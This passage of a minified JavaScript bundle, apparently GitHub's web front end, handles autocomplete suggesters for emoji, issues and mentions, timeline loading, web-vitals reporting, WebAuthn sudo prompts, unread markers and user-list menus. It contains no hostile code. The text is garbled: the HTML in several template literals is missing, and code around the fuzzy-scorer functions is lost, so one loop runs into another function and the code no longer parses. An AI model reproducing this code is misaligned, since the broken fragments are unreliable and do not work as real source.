i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const o=`/settings/avatars/${e.currentTarget.querySelector("#avatar-crop-form").getAttribute("data-alambic-avatar-id")}?op=destroy`,r=e.currentTarget.querySelector(".js-avatar-post-csrf").getAttribute("value"),i=new Request(o,{method:"POST",headers:{"Scoped-CSRF-Token":r,"X-Requested-With":"XMLHttpRequest"}});await self.fetch(i)});function xt(){if(document.querySelector(":target"))return;const e=(0,Tn.$z)(location.hash).toLowerCase(),t=(0,Tn.Q)(document,`user-content-${e}`);t&&(0,nn.zT)(t)}s(xt,"hashchange"),window.addEventListener("hashchange",xt),document.addEventListener("pjax:success",xt),async function(){await me.x,xt()}(),(0,c.on)("click","a[href]",function(e){const{currentTarget:t}=e;t instanceof HTMLAnchorElement&&t.href===location.href&&location.hash.length>1&&setTimeout(function(){e.defaultPrevented||xt()})});var hu=f(95128);async function yl(e){const t=e.currentTarget,{init:n}=await f.e("app_assets_modules_github_user-status-submit_ts").then(f.bind(f,35145));n(t)}s(yl,"user_status_loader_load"),(0,u.N7)(".js-user-status-container",{subscribe:e=>(0,M.RB)(e,"click",yl,{once:!0})});var Mt=f(55741);function vl(e,t){const n=e.querySelector(".js-user-list-base");n&&(n.textContent=t||n.getAttribute("data-generic-message"),n.hidden=!1)}s(vl,"setFlashError");function Dr(e,t){const o=(t||e).querySelectorAll(".js-user-list-error");for(const a of o)a.hidden=!0;const r=t?[t]:e.querySelectorAll(".errored.js-user-list-input-container");for(const a of r)a.classList.remove("errored");const i=e.querySelector(".js-user-list-base");i&&(i.hidden=!0)}s(Dr,"resetValidation"),(0,C.AC)(".js-user-list-form",async function(e,t){var n;Dr(e);const o=e.querySelector("[data-submitting-message]"),r=o==null?void 0:o.textContent;o&&(o.textContent=o.getAttribute("data-submitting-message"),o.disabled=!0);for(const i of e.querySelectorAll(".js-user-list-input"))i.disabled=!0;try{const i=await t.html();(0,c.f)(e,"user-list-form:success",i.html)}catch(i){if(((n=i.response)==null?void 0:n.status)===422)e.replaceWith(i.response.html);else{vl(e),o&&(r&&(o.textContent=r),o.disabled=!1);for(const a of e.querySelectorAll(".js-user-list-input"))a.disabled=!1}}}),(0,c.on)("user-list-form:success",".js-follow-list",e=>{const t=e.detail,n=t instanceof DocumentFragment?t.querySelector(".js-target-url"):null;(n==null?void 0:n.textContent)?location.href=n.textContent:location.reload()});function Hr(e){if(!(e.currentTarget instanceof HTMLElement))return;const t=e.currentTarget.closest(".js-user-list-form"),n=e.currentTarget.closest(".js-user-list-input-container");t&&n&&Dr(t,n)}s(Hr,"clearErrorsFromInput"),(0,j.q6)(".js-user-list-form input",Hr),(0,j.q6)(".js-user-list-form textarea",Hr),(0,c.on)("auto-check-error",".js-user-list-form input",function(e){const t=e.currentTarget.closest(".js-user-list-input-container"),n=t==null?void 0:t.querySelector(".js-user-list-error");n&&(n.hidden=!1)});function wl(e){var t;const n=new Map;for(const o of e){const r=(t=o.querySelector(".js-user-lists-create-trigger"))==null?void 0:t.getAttribute("data-repository-id");if(r){const i=n.get(r);i?i.push(o):n.set(r,[o])}}return n}s(wl,"groupRootsByRepositoryId");async function El(e,t,n){const o=new FormData;o.set("authenticity_token",t);for(const a of n)o.append("repository_ids[]",a);const r=await fetch(e,{method:"POST",body:o,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}}),i=new Map;if(r.ok){const a=await r.json();for(const l in a)i.set(l,(0,q.r)(document,a[l]))}return i}s(El,"requestMenuBatchRender");function Ll(e,t){for(const[n,o]of e.entries()){const r=t.get(n)||[];for(const i of r)i.replaceWith(r.length===1?o:o.cloneNode(!0))}}s(Ll,"replaceUserListMenuRoots");async function Or(){var e;const t=document.querySelectorAll(".js-user-list-menu-content-root");if(t.length===0)return;const n=t[0].getAttribute("data-batch-update-url");if(!n)return;const o=(e=t[0].querySelector(".js-user-list-batch-update-csrf"))==null?void 0:e.value;if(!o)return;const r=wl(t),i=r.keys(),a=await El(n,o,i);a.size>0&&Ll(a,r)}s(Or,"updateAllUserListMenus");function jl(e){const t=new Promise((n,o)=>{e.addEventListener("user-list-menu-form:success",()=>n()),e.addEventListener("user-list-menu-form:error",r=>o(r))});return(0,L.Bt)(e),t}s(jl,"requestUserListMenuFormSubmit");function Sl(e){const t=e.target;if(!(t instanceof HTMLDetailsElement)||t.hasAttribute("open"))return;const n=t.querySelector(".js-user-list-menu-form");n&&(0,Mt.T)(n)&&(0,L.Bt)(n);const o=t.querySelector(".js-user-list-create-trigger-text");o&&(o.textContent="")}s(Sl,"submitUserListFormOnToggle"),(0,c.on)("toggle",".js-user-list-menu",Sl,{capture:!0}),(0,j.q6)(".js-user-lists-menu-filter",e=>{const t=e.currentTarget,n=t.value.trim(),o=t.closest(".js-user-list-menu-content-root"),r=o==null?void 0:o.querySelector(".js-user-list-create-trigger-text");!r||(r.textContent=n?`"${n}"`:"")}),(0,C.AC)(".js-user-list-menu-form",async function(e,t){let n;try{n=await t.json()}catch(r){(0,T.v)(),(0,c.f)(e,"user-list-menu-form:error",r);return}if(n.json.didStar){const r=e.closest(".js-toggler-container");r&&r.classList.add("on");const i=n.json.starCount;if(i){const a=e.closest(".js-social-container");a&&mr(a,i)}}const o=e.closest(".js-user-list-menu-content-root[data-update-after-submit]");if(o)for(const r of 